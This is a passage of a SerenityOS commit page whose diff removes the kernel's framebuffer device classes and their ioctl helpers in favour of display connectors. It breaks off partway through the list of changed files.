summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorLiav A <liavalb@gmail.com>2022-04-30 15:27:42 +0300
committerAndreas Kling <kling@serenityos.org>2022-05-05 20:55:57 +0200
commite301af8352c50dc76234aa767d5a18f6ff52d86e (patch)
tree668053495c06812b151f56836b8ecead7e07caeb
parentaad968cc5e099bfa480c3cd67af5ef092b1b15f3 (diff)
downloadserenity-e301af8352c50dc76234aa767d5a18f6ff52d86e.zip
Everywhere: Purge all support and usage of framebuffer devices
Long live the DisplayConnector object!
-rw-r--r--Base/etc/WindowServer.ini2
-rw-r--r--Kernel/API/FB.h26
-rw-r--r--Kernel/CMakeLists.txt2
-rw-r--r--Kernel/Graphics/Bochs/GraphicsAdapter.h1
-rw-r--r--Kernel/Graphics/FramebufferDevice.cpp258
-rw-r--r--Kernel/Graphics/FramebufferDevice.h77
-rw-r--r--Kernel/Graphics/GenericFramebufferDevice.cpp158
-rw-r--r--Kernel/Graphics/GenericFramebufferDevice.h70
-rw-r--r--Kernel/Graphics/VGA/ISAAdapter.h1
-rw-r--r--Kernel/Graphics/VGA/PCIAdapter.h1
-rw-r--r--Tests/Kernel/CMakeLists.txt1
-rw-r--r--Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp105
-rw-r--r--Userland/Applications/DisplaySettings/MonitorSettingsWidget.cpp3
-rw-r--r--Userland/DevTools/UserspaceEmulator/Emulator_syscalls.cpp7
-rw-r--r--Userland/Libraries/LibC/sys/ioctl_numbers.h24
-rw-r--r--Userland/Services/WindowServer/HardwareScreenBackend.cpp136
-rw-r--r--Userland/Services/WindowServer/HardwareScreenBackend.h7
-rw-r--r--Userland/Services/WindowServer/Screen.cpp35
-rw-r--r--Userland/Services/WindowServer/ScreenBackend.h4
-rw-r--r--Userland/Services/WindowServer/ScreenLayout.h4
-rw-r--r--Userland/Services/WindowServer/ScreenLayout.ipp90
-rw-r--r--Userland/Services/WindowServer/VirtualScreenBackend.cpp38
-rw-r--r--Userland/Services/WindowServer/VirtualScreenBackend.h4
-rw-r--r--Userland/Services/WindowServer/main.cpp27
-rw-r--r--Userland/Utilities/strace.cpp4
25 files changed, 90 insertions, 995 deletions
diff --git a/Base/etc/WindowServer.ini b/Base/etc/WindowServer.ini
index 6670a366a1..5f721b86c3 100644
--- a/Base/etc/WindowServer.ini
+++ b/Base/etc/WindowServer.ini
@@ -2,7 +2,7 @@
MainScreen=0
[Screen0]
-Mode=DisplayConnectorDevice
+Mode=Device
Device=/dev/gpu/connector0
Left=0
Top=0
diff --git a/Kernel/API/FB.h b/Kernel/API/FB.h
index 17ea2963ad..bb89042548 100644
--- a/Kernel/API/FB.h
+++ b/Kernel/API/FB.h
@@ -18,32 +18,6 @@ ALWAYS_INLINE int graphics_connector_get_properties(int fd, GraphicsConnectorPro
return ioctl(fd, GRAPHICS_IOCTL_GET_PROPERTIES, info);
}
-// FIXME: Remove this once framebuffer devices are removed.
-ALWAYS_INLINE int fb_get_head_properties(int fd, FBHeadProperties* info)
-{
- return ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_PROPERTIES, info);
-}
-
-// FIXME: Remove this once framebuffer devices are removed.
-ALWAYS_INLINE int fb_get_resolution(int fd, FBHeadResolution* info)
-{
- FBHeadProperties head_properties;
- head_properties.head_index = info->head_index;
- if (auto rc = ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_PROPERTIES, &head_properties); rc < 0)
- return rc;
- info->head_index = head_properties.head_index;
- info->pitch = head_properties.pitch;
- info->width = head_properties.width;
- info->height = head_properties.height;
- return 0;
-}
-
-// FIXME: Remove this once framebuffer devices are removed.
-ALWAYS_INLINE int fb_set_resolution(int fd, FBHeadResolution* info)
-{
- return ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, info);
-}
-
ALWAYS_INLINE int graphics_connector_get_head_edid(int fd, GraphicsHeadEDID* info)
{
return ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_EDID, info);
diff --git a/Kernel/CMakeLists.txt b/Kernel/CMakeLists.txt
index 94358be3fa..7f7c86ba72 100644
--- a/Kernel/CMakeLists.txt
+++ b/Kernel/CMakeLists.txt
@@ -83,7 +83,6 @@ set(KERNEL_SOURCES
Graphics/Console/TextModeConsole.cpp
Graphics/Console/VGAConsole.cpp
Graphics/DisplayConnector.cpp
- Graphics/FramebufferDevice.cpp
Graphics/GraphicsManagement.cpp
Graphics/Intel/NativeDisplayConnector.cpp
Graphics/Intel/NativeGraphicsAdapter.cpp
@@ -95,7 +94,6 @@ set(KERNEL_SOURCES
Graphics/VirtIOGPU/Console.cpp
Graphics/VirtIOGPU/GPU3DDevice.cpp
Graphics/VirtIOGPU/GraphicsAdapter.cpp
- Graphics/GenericFramebufferDevice.cpp
SanCov.cpp
Storage/ATA/AHCIController.cpp
Storage/ATA/AHCIPort.cpp
diff --git a/Kernel/Graphics/Bochs/GraphicsAdapter.h b/Kernel/Graphics/Bochs/GraphicsAdapter.h
index 6dd1badb98..e6ea481cc5 100644
--- a/Kernel/Graphics/Bochs/GraphicsAdapter.h
+++ b/Kernel/Graphics/Bochs/GraphicsAdapter.h
@@ -10,7 +10,6 @@
#include <Kernel/Bus/PCI/Device.h>
#include <Kernel/Graphics/Bochs/Definitions.h>
#include <Kernel/Graphics/Console/GenericFramebufferConsole.h>
-#include <Kernel/Graphics/FramebufferDevice.h>
#include <Kernel/Graphics/GenericGraphicsAdapter.h>
#include <Kernel/Memory/TypedMapping.h>
#include <Kernel/PhysicalAddress.h>
diff --git a/Kernel/Graphics/FramebufferDevice.cpp b/Kernel/Graphics/FramebufferDevice.cpp
deleted file mode 100644
index 853abe0c76..0000000000
--- a/Kernel/Graphics/FramebufferDevice.cpp
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il>
- *
- * SPDX-License-Identifier: BSD-2-Clause
- */
-
-#include <AK/Checked.h>
-#include <AK/Try.h>
-#include <Kernel/API/POSIX/errno.h>
-#include <Kernel/Debug.h>
-#include <Kernel/Devices/DeviceManagement.h>
-#include <Kernel/Graphics/FramebufferDevice.h>
-#include <Kernel/Graphics/GraphicsManagement.h>
-#include <Kernel/Memory/AnonymousVMObject.h>
-#include <Kernel/Memory/MemoryManager.h>
-#include <Kernel/Process.h>
-#include <Kernel/Sections.h>
-#include <LibC/sys/ioctl_numbers.h>
-
-namespace Kernel {
-
-NonnullRefPtr<FramebufferDevice> FramebufferDevice::create(GenericGraphicsAdapter const& adapter, PhysicalAddress paddr, size_t width, size_t height, size_t pitch)
-{
- auto framebuffer_device_or_error = DeviceManagement::try_create_device<FramebufferDevice>(adapter, paddr, width, height, pitch);
- // FIXME: Find a way to propagate errors
- VERIFY(!framebuffer_device_or_error.is_error());
- return framebuffer_device_or_error.release_value();
-}
-
-ErrorOr<Memory::Region*> FramebufferDevice::mmap(Process& process, OpenFileDescription&, Memory::VirtualRange const& range, u64 offset, int prot, bool shared)
-{
- TRY(process.require_promise(Pledge::video));
- SpinlockLocker lock(m_activation_lock);
- if (!shared)
- return ENODEV;
- if (offset != 0)
- return ENXIO;
- auto framebuffer_length = TRY(buffer_length(0));
- framebuffer_length = TRY(Memory::page_round_up(framebuffer_length));
- if (range.size() != framebuffer_length)
- return EOVERFLOW;
-
- m_userspace_real_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_for_physical_range(m_framebuffer_address, framebuffer_length));
- m_real_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_for_physical_range(m_framebuffer_address, framebuffer_length));
- m_swapped_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_with_size(framebuffer_length, AllocationStrategy::AllocateNow));
- m_real_framebuffer_region = TRY(MM.allocate_kernel_region_with_vmobject(*m_real_framebuffer_vmobject, framebuffer_length, "Framebuffer", Memory::Region::Access::ReadWrite));
- m_swapped_framebuffer_region = TRY(MM.allocate_kernel_region_with_vmobject(*m_swapped_framebuffer_vmobject, framebuffer_length, "Framebuffer Swap (Blank)", Memory::Region::Access::ReadWrite));
-
- RefPtr<Memory::VMObject> chosen_vmobject;
- if (m_graphical_writes_enabled) {
- chosen_vmobject = m_real_framebuffer_vmobject;
- } else {
- chosen_vmobject = m_swapped_framebuffer_vmobject;
- }
- m_userspace_framebuffer_region = TRY(process.address_space().allocate_region_with_vmobject(
- range,
- chosen_vmobject.release_nonnull(),
- 0,
- "Framebuffer",
- prot,
- shared));
- if (m_write_combine) {
- if (auto result = m_userspace_framebuffer_region->set_write_combine(true); result.is_error())
- dbgln("FramebufferDevice: Failed to enable Write-Combine on Framebuffer: {}", result.error());
- }
- return m_userspace_framebuffer_region;
-}
-
-void FramebufferDevice::deactivate_writes()
-{
- SpinlockLocker lock(m_activation_lock);
- if (!m_userspace_framebuffer_region)
- return;
- auto framebuffer_length_or_error = buffer_length(0);
- VERIFY(!framebuffer_length_or_error.is_error());
- size_t rounded_framebuffer_length = Memory::page_round_up(framebuffer_length_or_error.release_value()).release_value_but_fixme_should_propagate_errors();
- memcpy(m_swapped_framebuffer_region->vaddr().as_ptr(), m_real_framebuffer_region->vaddr().as_ptr(), rounded_framebuffer_length);
- auto vmobject = m_swapped_framebuffer_vmobject;
- m_userspace_framebuffer_region->set_vmobject(vmobject.release_nonnull());
- m_userspace_framebuffer_region->remap();
- m_graphical_writes_enabled = false;
-}
-void FramebufferDevice::activate_writes()
-{
- SpinlockLocker lock(m_activation_lock);
- if (!m_userspace_framebuffer_region || !m_real_framebuffer_vmobject)
- return;
- // restore the image we had in the void area
- // FIXME: if we happen to have multiple Framebuffers that are writing to that location
- // we will experience glitches...
- auto framebuffer_length_or_error = buffer_length(0);
- VERIFY(!framebuffer_length_or_error.is_error());
-
- size_t rounded_framebuffer_length = Memory::page_round_up(framebuffer_length_or_error.release_value()).release_value_but_fixme_should_propagate_errors();
- memcpy(m_real_framebuffer_region->vaddr().as_ptr(), m_swapped_framebuffer_region->vaddr().as_ptr(), rounded_framebuffer_length);
- auto vmobject = m_userspace_real_framebuffer_vmobject;
- m_userspace_framebuffer_region->set_vmobject(vmobject.release_nonnull());
- m_userspace_framebuffer_region->remap();
- m_graphical_writes_enabled = true;
-}
-
-UNMAP_AFTER_INIT ErrorOr<void> FramebufferDevice::try_to_initialize()
-{
- // FIXME: Would be nice to be able to unify this with mmap above, but this
- // function is UNMAP_AFTER_INIT for the time being.
- auto framebuffer_length = TRY(buffer_length(0));
- framebuffer_length = TRY(Memory::page_round_up(framebuffer_length));
- m_real_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_for_physical_range(m_framebuffer_address, framebuffer_length));
- m_swapped_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_with_size(framebuffer_length, AllocationStrategy::AllocateNow));
- m_real_framebuffer_region = TRY(MM.allocate_kernel_region_with_vmobject(*m_real_framebuffer_vmobject, framebuffer_length, "Framebuffer", Memory::Region::Access::ReadWrite));
- m_swapped_framebuffer_region = TRY(MM.allocate_kernel_region_with_vmobject(*m_swapped_framebuffer_vmobject, framebuffer_length, "Framebuffer Swap (Blank)", Memory::Region::Access::ReadWrite));
- return {};
-}
-
-UNMAP_AFTER_INIT FramebufferDevice::FramebufferDevice(GenericGraphicsAdapter const& adapter, PhysicalAddress addr, size_t width, size_t height, size_t pitch)
- : GenericFramebufferDevice(adapter)
- , m_framebuffer_address(addr)
- , m_framebuffer_pitch(pitch)
- , m_framebuffer_width(width)
- , m_framebuffer_height(height)
-{
- VERIFY(!m_framebuffer_address.is_null());
- VERIFY(m_framebuffer_pitch);
- VERIFY(m_framebuffer_width);
- VERIFY(m_framebuffer_height);
- dbgln("Framebuffer {}: address={}, pitch={}, width={}, height={}", minor(), addr, pitch, width, height);
-}
-
-ErrorOr<size_t> FramebufferDevice::buffer_length(size_t head) const
-{
- // Note: This FramebufferDevice class doesn't support multihead setup.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally have a value different than 0, assert.
- VERIFY(head == 0);
- SpinlockLocker locker(m_resolution_lock);
- auto adapter = m_graphics_adapter.strong_ref();
- if (!adapter)
- return Error::from_errno(EIO);
- if (adapter->double_framebuffering_capable())
- return m_framebuffer_pitch * m_framebuffer_height * 2;
- return m_framebuffer_pitch * m_framebuffer_height;
-}
-
-ErrorOr<size_t> FramebufferDevice::pitch(size_t head) const
-{
- // Note: This FramebufferDevice class doesn't support multihead setup.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally have a value different than 0, assert.
- VERIFY(head == 0);
- SpinlockLocker locker(m_resolution_lock);
- return m_framebuffer_pitch;
-}
-ErrorOr<size_t> FramebufferDevice::height(size_t head) const
-{
- // Note: This FramebufferDevice class doesn't support multihead setup.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally have a value different than 0, assert.
- VERIFY(head == 0);
- SpinlockLocker locker(m_resolution_lock);
- return m_framebuffer_height;
-}
-ErrorOr<size_t> FramebufferDevice::width(size_t head) const
-{
- // Note: This FramebufferDevice class doesn't support multihead setup.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally have a value different than 0, assert.
- VERIFY(head == 0);
- SpinlockLocker locker(m_resolution_lock);
- return m_framebuffer_width;
-}
-ErrorOr<size_t> FramebufferDevice::vertical_offset(size_t head) const
-{
- // Note: This FramebufferDevice class doesn't support multihead setup.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally have a value different than 0, assert.
- VERIFY(head == 0);
- SpinlockLocker locker(m_buffer_offset_lock);
- return m_y_offset;
-}
-ErrorOr<bool> FramebufferDevice::vertical_offsetted(size_t head) const
-{
- // Note: This FramebufferDevice class doesn't support multihead setup.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally have a value different than 0, assert.
- VERIFY(head == 0);
- SpinlockLocker locker(m_buffer_offset_lock);
- return m_y_offset == 0 ? 0 : 1;
-}
-
-ErrorOr<void> FramebufferDevice::set_head_resolution(size_t head, size_t width, size_t height, size_t)
-{
- // Note: This FramebufferDevice class doesn't support multihead setup.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally have a value different than 0, assert.
- VERIFY(head == 0);
- SpinlockLocker buffer_offset_locker(m_buffer_offset_lock);
- SpinlockLocker resolution_locker(m_resolution_lock);
- auto adapter = m_graphics_adapter.strong_ref();
- if (!adapter)
- return Error::from_errno(EIO);
- auto result = adapter->try_to_set_resolution(0, width, height);
- // FIXME: Find a better way to return here a ErrorOr<void>.
- if (!result)
- return Error::from_errno(ENOTSUP);
- m_framebuffer_width = width;
- m_framebuffer_height = height;
- m_framebuffer_pitch = width * sizeof(u32);
- return {};
-}
-ErrorOr<void> FramebufferDevice::set_head_buffer(size_t head, bool second_buffer)
-{
- // Note: This FramebufferDevice class doesn't support multihead setup.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally have a value different than 0, assert.
- VERIFY(head == 0);
- SpinlockLocker locker(m_buffer_offset_lock);
- auto adapter = m_graphics_adapter.strong_ref();
- if (!adapter)
- return Error::from_errno(EIO);
- if (second_buffer) {
- if (!adapter->set_y_offset(0, m_framebuffer_height)) {
- // FIXME: Find a better ErrorOr<void> here.
- return Error::from_errno(ENOTSUP);
- }
- m_y_offset = m_framebuffer_height;
- } else {
- if (!adapter->set_y_offset(0, 0)) {
- // FIXME: Find a better ErrorOr<void> here.
- return Error::from_errno(ENOTSUP);
- }
- m_y_offset = 0;
- }
- return {};
-}
-ErrorOr<void> FramebufferDevice::flush_head_buffer(size_t)
-{
- // Note: This FramebufferDevice class doesn't support flushing.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally reach this code, assert.
- VERIFY_NOT_REACHED();
-}
-ErrorOr<void> FramebufferDevice::flush_rectangle(size_t, FBRect const&)
-{
- // Note: This FramebufferDevice class doesn't support partial flushing.
- // We take care to verify this at the GenericFramebufferDevice::ioctl method
- // so if we happen to accidentally reach this code, assert.
- VERIFY_NOT_REACHED();
-}
-
-ErrorOr<ByteBuffer> FramebufferDevice::get_edid(size_t head) const
-{
- auto adapter = m_graphics_adapter.strong_ref();
- if (!adapter)
- return Error::from_errno(EIO);
- return adapter->get_edid(head);
-}
-
-}
diff --git a/Kernel/Graphics/FramebufferDevice.h b/Kernel/Graphics/FramebufferDevice.h
deleted file mode 100644
index acdc4e3ec8..0000000000
--- a/Kernel/Graphics/FramebufferDevice.h
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il>
- *
- * SPDX-License-Identifier: BSD-2-Clause
- */
-
-#pragma once
-
-#include <AK/NonnullOwnPtr.h>
-#include <AK/Types.h>
-#include <Kernel/Graphics/GenericFramebufferDevice.h>
-#include <Kernel/Graphics/GenericGraphicsAdapter.h>
-#include <Kernel/Locking/Spinlock.h>
-#include <Kernel/Memory/AnonymousVMObject.h>
-#include <Kernel/PhysicalAddress.h>
-
-namespace Kernel {
-
-class FramebufferDevice final : public GenericFramebufferDevice {
- friend class DeviceManagement;
-
-public:
- static NonnullRefPtr<FramebufferDevice> create(GenericGraphicsAdapter const&, PhysicalAddress, size_t, size_t, size_t);
-
- virtual ErrorOr<Memory::Region*> mmap(Process&, OpenFileDescription&, Memory::VirtualRange const&, u64 offset, int prot, bool shared) override;
-
- virtual void deactivate_writes() override;
- virtual void activate_writes() override;
-
- virtual ErrorOr<void> try_to_initialize() override;
-
- virtual bool multihead_support() const override { return false; }
- virtual bool flushing_support() const override { return false; }
- virtual bool partial_flushing_support() const override { return false; }
- virtual size_t heads_count() const override { return 1; }
- virtual ErrorOr<size_t> buffer_length(size_t head) const override;
- virtual ErrorOr<size_t> pitch(size_t head) const override;
- virtual ErrorOr<size_t> height(size_t head) const override;
- virtual ErrorOr<size_t> width(size_t head) const override;
- virtual ErrorOr<size_t> vertical_offset(size_t head) const override;
- virtual ErrorOr<bool> vertical_offsetted(size_t head) const override;
-
- virtual ErrorOr<ByteBuffer> get_edid(size_t head) const override;
-
- void enable_write_combine(bool write_combine) { m_write_combine = write_combine; }
-
-private:
- virtual ErrorOr<void> set_head_resolution(size_t head, size_t width, size_t height, size_t pitch) override;
- virtual ErrorOr<void> set_head_buffer(size_t head, bool second_buffer) override;
- virtual ErrorOr<void> flush_head_buffer(size_t head) override;
- virtual ErrorOr<void> flush_rectangle(size_t head, FBRect const&) override;
-
- FramebufferDevice(GenericGraphicsAdapter const&, PhysicalAddress, size_t, size_t, size_t);
-
- PhysicalAddress m_framebuffer_address;
- size_t m_framebuffer_pitch { 0 };
- size_t m_framebuffer_width { 0 };
- size_t m_framebuffer_height { 0 };
-
- Spinlock m_activation_lock;
- mutable Spinlock m_buffer_offset_lock;
-
- RefPtr<Memory::AnonymousVMObject> m_real_framebuffer_vmobject;
- RefPtr<Memory::AnonymousVMObject> m_swapped_framebuffer_vmobject;
- OwnPtr<Memory::Region> m_real_framebuffer_region;
- OwnPtr<Memory::Region> m_swapped_framebuffer_region;
-
- bool m_graphical_writes_enabled { true };
- bool m_write_combine { true };
-
- RefPtr<Memory::AnonymousVMObject> m_userspace_real_framebuffer_vmobject;
- Memory::Region* m_userspace_framebuffer_region { nullptr };
-
- size_t m_y_offset { 0 };
-};
-
-}
diff --git a/Kernel/Graphics/GenericFramebufferDevice.cpp b/Kernel/Graphics/GenericFramebufferDevice.cpp
deleted file mode 100644
index 73b0aa0ee1..0000000000
--- a/Kernel/Graphics/GenericFramebufferDevice.cpp
+++ /dev/null
@@ -1,158 +0,0 @@
-/*
- * Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il>
- *
- * SPDX-License-Identifier: BSD-2-Clause
- */
-
-#include <AK/Checked.h>
-#include <AK/Try.h>
-#include <Kernel/API/POSIX/errno.h>
-#include <Kernel/Debug.h>
-#include <Kernel/Devices/DeviceManagement.h>
-#include <Kernel/Graphics/FramebufferDevice.h>
-#include <Kernel/Graphics/GraphicsManagement.h>
-#include <Kernel/Memory/AnonymousVMObject.h>
-#include <Kernel/Memory/MemoryManager.h>
-#include <Kernel/Process.h>
-#include <Kernel/Sections.h>
-#include <Kernel/StdLib.h>
-
-#define MAX_RESOLUTION_WIDTH 4096
-#define MAX_RESOLUTION_HEIGHT 2160
-
-namespace Kernel {
-
-ErrorOr<void> GenericFramebufferDevice::verify_head_index(int head_index) const
-{
- if (head_index < 0)
- return Error::from_errno(EINVAL);
- if (!multihead_support() && head_index > 0)
- return Error::from_errno(ENOTSUP);
- return {};
-}
-
-ErrorOr<void> GenericFramebufferDevice::ioctl(OpenFileDescription&, unsigned request, Userspace<void*> arg)
-{
- if (request != GRAPHICS_IOCTL_GET_HEAD_EDID) {
- // Allow anyone to query the EDID. Eventually we'll publish the current EDID on /sys
- // so it doesn't really make sense to require the video pledge to query it.
- TRY(Process::current().require_promise(Pledge::video));
- }
- switch (request) {
- case GRAPHICS_IOCTL_GET_PROPERTIES: {
- auto user_properties = static_ptr_cast<GraphicsConnectorProperties*>(arg);
- GraphicsConnectorProperties properties {};
- auto adapter = m_graphics_adapter.strong_ref();
- if (!adapter)
- return Error::from_errno(EIO);
- properties.multihead_support = multihead_support();
- properties.flushing_support = flushing_support();
- properties.doublebuffer_support = adapter->double_framebuffering_capable();
- properties.partial_flushing_support = partial_flushing_support();
- return copy_to_user(user_properties, &properties);
- }
- case GRAPHICS_IOCTL_GET_HEAD_PROPERTIES: {
- auto user_head_properties = static_ptr_cast<FBHeadProperties*>(arg);
- FBHeadProperties head_properties {};
- TRY(copy_from_user(&head_properties, user_head_properties));
- TRY(verify_head_index(head_properties.head_index));
-
- head_properties.pitch = TRY(pitch(head_properties.head_index));
- head_properties.width = TRY(width(head_properties.head_index));
- head_properties.height = TRY(height(head_properties.head_index));
- head_properties.buffer_length = TRY(buffer_length(head_properties.head_index));
- head_properties.offset = TRY(vertical_offset(head_properties.head_index));
- return copy_to_user(user_head_properties, &head_properties);
- }
- case GRAPHICS_IOCTL_GET_HEAD_EDID: {
- auto user_head_edid = static_ptr_cast<GraphicsHeadEDID*>(arg);
- GraphicsHeadEDID head_edid {};
- TRY(copy_from_user(&head_edid, user_head_edid));
- TRY(verify_head_index(head_edid.head_index));
-
- auto edid_bytes = TRY(get_edid(head_edid.head_index));
- if (head_edid.bytes != nullptr) {
- // Only return the EDID if a buffer was provided. Either way,
- // we'll write back the bytes_size with the actual size
- if (head_edid.bytes_size < edid_bytes.size()) {
- head_edid.bytes_size = edid_bytes.size();
- TRY(copy_to_user(user_head_edid, &head_edid));
- return Error::from_errno(EOVERFLOW);
- }
- TRY(copy_to_user(head_edid.bytes, (void const*)edid_bytes.data(), edid_bytes.size()));
- }
- head_edid.bytes_size = edid_bytes.size();
- return copy_to_user(user_head_edid, &head_edid);
- }
- case GRAPHICS_IOCTL_SET_HEAD_RESOLUTION: {
- auto user_head_resolution = static_ptr_cast<FBHeadResolution const*>(arg);
- auto head_resolution = TRY(copy_typed_from_user(user_head_resolution));
- TRY(verify_head_index(head_resolution.head_index));
-
- if (head_resolution.pitch < 0)
- return Error::from_errno(EINVAL);
- if (head_resolution.width < 0)
- return Error::from_errno(EINVAL);
- if (head_resolution.height < 0)
- return Error::from_errno(EINVAL);
- TRY(set_head_resolution(head_resolution.head_index, head_resolution.width, head_resolution.height, head_resolution.pitch));
- return {};
- }
- case GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER: {
- auto user_head_vertical_buffer_offset = static_ptr_cast<GraphicsHeadVerticalOffset const*>(arg);
- auto head_vertical_buffer_offset = TRY(copy_typed_from_user(user_head_vertical_buffer_offset));
- TRY(verify_head_index(head_vertical_buffer_offset.head_index));
-
- if (head_vertical_buffer_offset.offsetted < 0 || head_vertical_buffer_offset.offsetted > 1)
- return Error::from_errno(EINVAL);
- TRY(set_head_buffer(head_vertical_buffer_offset.head_index, head_vertical_buffer_offset.offsetted));
- return {};
- }
- case GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER: {
- auto user_head_vertical_buffer_offset = static_ptr_cast<GraphicsHeadVerticalOffset*>(arg);
- GraphicsHeadVerticalOffset head_vertical_buffer_offset {};
- TRY(copy_from_user(&head_vertical_buffer_offset, user_head_vertical_buffer_offset));
- TRY(verify_head_index(head_vertical_buffer_offset.head_index));
-
- head_vertical_buffer_offset.offsetted = TRY(vertical_offsetted(head_vertical_buffer_offset.head_index));
- return copy_to_user(user_head_vertical_buffer_offset, &head_vertical_buffer_offset);
- }
- case GRAPHICS_IOCTL_FLUSH_HEAD_BUFFERS: {
- if (!partial_flushing_support())
- return Error::from_errno(ENOTSUP);
- auto user_flush_rects = static_ptr_cast<FBFlushRects const*>(arg);
- auto flush_rects = TRY(copy_typed_from_user(user_flush_rects));
- if (Checked<unsigned>::multiplication_would_overflow(flush_rects.count, sizeof(FBRect)))
- return Error::from_errno(EFAULT);
- SpinlockLocker locker(m_flushing_lock);
- if (flush_rects.count > 0) {
- for (unsigned i = 0; i < flush_rects.count; i++) {
- FBRect user_dirty_rect;
- TRY(copy_from_user(&user_dirty_rect, &flush_rects.rects[i]));
- TRY(flush_rectangle(flush_rects.buffer_index, user_dirty_rect));
- }
- }
- return {};
- };
- case GRAPHICS_IOCTL_FLUSH_HEAD: {
- if (!flushing_support())
- return Error::from_errno(ENOTSUP);
- // Note: We accept a FBRect, but we only really care about the head_index value.
- auto user_rect = static_ptr_cast<FBRect const*>(arg);
- auto rect = TRY(copy_typed_from_user(user_rect));
- TRY(verify_head_index(rect.head_index));
- TRY(flush_head_buffer(rect.head_index));
- return {};
- }
- default:
- return EINVAL;
- };
-}
-
-GenericFramebufferDevice::GenericFramebufferDevice(GenericGraphicsAdapter const& adapter)
- : BlockDevice(29, GraphicsManagement::the().allocate_minor_device_number())
- , m_graphics_adapter(adapter)
-{
-}
-
-}
diff --git a/Kernel/Graphics/GenericFramebufferDevice.h b/Kernel/Graphics/GenericFramebufferDevice.h
deleted file mode 100644
index 1d230d4451..0000000000
--- a/Kernel/Graphics/GenericFramebufferDevice.h
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il>
- *
- * SPDX-License-Identifier: BSD-2-Clause
- */
-
-#pragma once
-
-#include <AK/Error.h>
-#include <AK/Types.h>
-#include <Kernel/Devices/BlockDevice.h>
-#include <Kernel/Graphics/GenericGraphicsAdapter.h>
-#include <Kernel/Locking/Spinlock.h>
-#include <LibC/sys/ioctl_numbers.h>
-
-namespace Kernel {
-
-class GenericFramebufferDevice : public BlockDevice {
- friend class DeviceManagement;
-
-public:
- virtual ErrorOr<void> try_to_initialize() = 0;
-
- virtual void deactivate_writes() = 0;
- virtual void activate_writes() = 0;
-
- virtual ~GenericFramebufferDevice() = default;
-
- // ^File
- virtual ErrorOr<Memory::Region*> mmap(Process&, OpenFileDescription&, Memory::VirtualRange const&, u64 offset, int prot, bool shared) override = 0;
- virtual ErrorOr<void> ioctl(OpenFileDescription&, unsigned request, Userspace<void*> arg) override final;
- virtual StringView class_name() const override final { return "FramebufferDevice"sv; }
-
-private:
- // ^File
- virtual bool can_read(OpenFileDescription const&, u64) const override final { return true; }
- virtual bool can_write(OpenFileDescription const&, u64) const override final { return true; }
- virtual void start_request(AsyncBlockDeviceRequest& request) override final { request.complete(AsyncDeviceRequest::Failure); }
- virtual ErrorOr<size_t> read(OpenFileDescription&, u64, UserOrKernelBuffer&, size_t) override { return EINVAL; }
- virtual ErrorOr<size_t> write(OpenFileDescription&, u64, UserOrKernelBuffer const&, size_t) override { return EINVAL; }
-
-protected:
- virtual bool multihead_support() const = 0;
- virtual bool flushing_support() const = 0;
- virtual bool partial_flushing_support() const = 0;
- virtual size_t heads_count() const = 0;
- virtual ErrorOr<size_t> buffer_length(size_t head) const = 0;
- virtual ErrorOr<size_t> pitch(size_t head) const = 0;
- virtual ErrorOr<size_t> height(size_t head) const = 0;
- virtual ErrorOr<size_t> width(size_t head) const = 0;
- virtual ErrorOr<size_t> vertical_offset(size_t head) const = 0;
- virtual ErrorOr<bool> vertical_offsetted(size_t head) const = 0;
-
- virtual ErrorOr<void> set_head_resolution(size_t head, size_t width, size_t height, size_t pitch) = 0;
- virtual ErrorOr<void> set_head_buffer(size_t head, bool second_buffer) = 0;
- virtual ErrorOr<void> flush_head_buffer(size_t head) = 0;
- // FIXME: This method is too much specific to the VirtIO implementation (especially the buffer_index parameter)
- virtual ErrorOr<void> flush_rectangle(size_t buffer_index, FBRect const&) = 0;
-
- virtual ErrorOr<ByteBuffer> get_edid(size_t head) const = 0;
-
- ErrorOr<void> verify_head_index(int head_index) const;
-
- GenericFramebufferDevice(GenericGraphicsAdapter const&);
- mutable WeakPtr<GenericGraphicsAdapter> m_graphics_adapter;
- mutable Spinlock m_flushing_lock;
- mutable Spinlock m_resolution_lock;
-};
-
-}
diff --git a/Kernel/Graphics/VGA/ISAAdapter.h b/Kernel/Graphics/VGA/ISAAdapter.h
index 8ca0623c14..45faf5c0ec 100644
--- a/Kernel/Graphics/VGA/ISAAdapter.h
+++ b/Kernel/Graphics/VGA/ISAAdapter.h
@@ -9,7 +9,6 @@
#include <AK/Types.h>
#include <Kernel/Bus/PCI/Device.h>
#include <Kernel/Graphics/Console/Console.h>
-#include <Kernel/Graphics/FramebufferDevice.h>
#include <Kernel/Graphics/GenericGraphicsAdapter.h>
#include <Kernel/Graphics/VGA/VGACompatibleAdapter.h>
#include <Kernel/PhysicalAddress.h>
diff --git a/Kernel/Graphics/VGA/PCIAdapter.h b/Kernel/Graphics/VGA/PCIAdapter.h
